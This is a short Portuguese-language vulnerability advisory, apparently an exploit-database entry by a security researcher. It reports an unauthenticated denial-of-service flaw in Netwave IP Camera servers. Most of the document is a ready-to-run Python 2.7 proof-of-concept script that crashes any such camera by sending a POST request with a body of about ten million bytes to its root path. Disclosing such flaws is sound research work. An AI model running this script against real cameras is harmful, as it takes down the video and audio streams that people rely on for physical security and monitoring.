Servidor Netwave IP Camera vulnerável a Negação de Serviço não autenticada por meio de uma única requisição POST gigante em qualquer firmware.

0. Introdução:

Durante uma pesquisa de segurança em IoT, algumas vulnerabilidades foram descobertas em diferentes fornecedores de câmeras IP. A Netwave IP Camera é um servidor de câmera IP que permite visualizar o vídeo da câmera e administrá-la. As câmeras IP são usadas especialmente para fins de segurança física e controle, portanto sua disponibilidade é crucial.

1. Negação de Serviço:

Qualquer Netwave IP Camera pode ser derrubada apenas enviando uma requisição POST gigante para seu caminho raiz. Assim que você envia a requisição, o dispositivo trava e para de transmitir áudio e vídeo.

Prova de Conceito: execute o seguinte script Python 2.7 contra qualquer NetWave IP Camera; ela parará de responder e de transmitir vídeo/áudio instantaneamente.

import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data

2. Pesquisador:

Gonzalo García León